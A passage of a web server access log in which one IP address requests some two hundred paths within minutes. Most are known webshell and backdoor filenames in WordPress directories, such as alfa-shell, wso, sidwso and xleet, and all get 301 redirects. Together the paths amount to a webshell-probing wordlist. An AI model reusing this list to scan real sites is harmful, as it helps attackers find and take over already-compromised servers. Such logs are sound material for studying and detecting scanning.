-0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:55 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:57 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:16:58 -0400] "GET /modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:00 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:01 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:03 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:05 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:05 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:07 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:08 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:09 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:10 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:12 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:14 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:16 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:19 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:20 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:22 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:25 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:28 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:31 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:35 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:37 -0400] "GET /wp-content/plugins/vslnxrk/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:39 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:41 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:45 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:47 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:49 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:51 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:53 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:17:57 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:01 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:05 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:07 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:09 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:11 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:13 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:15 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:16 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:18 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:19 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:20 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:21 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:23 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:24 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:25 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:27 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:28 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:29 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:29 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:30 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:31 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:32 -0400] "GET /wp-content/plugins/about HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:33 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:34 -0400] "GET /.well-known/uploads HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:35 -0400] "GET /wp-content/plugins/vmgbzgi/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:36 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:37 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:39 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:40 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:41 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:41 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:43 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:44 -0400] "GET /wp-content/themes/9rafadt6/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:44 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:45 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:46 -0400] "GET /pdf.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:48 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:48 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:49 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:51 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:52 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:54 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:56 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:58 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:18:59 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:00 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:01 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:02 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:04 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:06 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:07 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:09 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:12 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:14 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:15 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:16 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:18 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:19 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:21 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:24 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:27 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:29 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:31 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:34 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:36 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:39 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:41 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:44 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:45 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:46 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:48 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:51 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:53 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:55 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:56 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:19:58 -0400] "GET /wp-content/plugins/dmozhzr/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:00 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:04 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:07 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:09 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:13 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:17 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:21 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:27 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:31 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:33 -0400] "GET /wp-content/plugins/cifkpgk/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:36 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:39 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:42 -0400] "GET /wp/wp-content/themes/w695elkq/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:43 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:45 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:47 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:48 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:49 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:50 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:52 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:53 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:56 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:20:58 -0400] "GET /wp-content/plugins/qdcitph/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:01 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:03 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:04 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:07 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:08 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:10 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:12 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:15 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:18 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:19 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:21 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:24 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:26 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:28 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:30 -0400] "GET /wp-content/plugins/erfdsxx/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:33 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:35 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:36 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:38 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:39 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:41 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:43 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:45 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:46 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:47 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:48 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:49 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:51 -0400] "GET /wp-includes/SimplePie/HdGGN/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:51 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:52 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:53 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:54 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:55 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:56 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:57 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:58 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:21:59 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:00 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:02 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:04 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:06 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:08 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:09 -0400] "GET /wp/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:11 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:13 -0400] "GET /wp-admin/themes/config HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:14 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:15 -0400] "GET /wp-content/plugins/efhkgws/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:17 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:18 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:20 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:21 -0400] "GET /wp-content/plugins/eblovwl/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:23 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:23 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:25 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:27 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:28 -0400] "GET /wp-content/plugins/dapeasyinstaller/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:31 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:32 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:34 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:36 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:38 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:41 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:48 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:53 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:55 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:57 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:22:59 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:01 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:03 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:04 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:06 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:08 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:09 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:10 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:12 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:13 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:15 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:16 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:18 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:19 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:21 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:23 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:25 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:28 -0400] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:29 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:33 -0400] "GET /wp-content/plugins/pxgpozm/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:35 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:37 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:38 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:40 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:42 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:45 -0400] "GET /wp-content/themes/kzdx3sro/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:23:47 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" 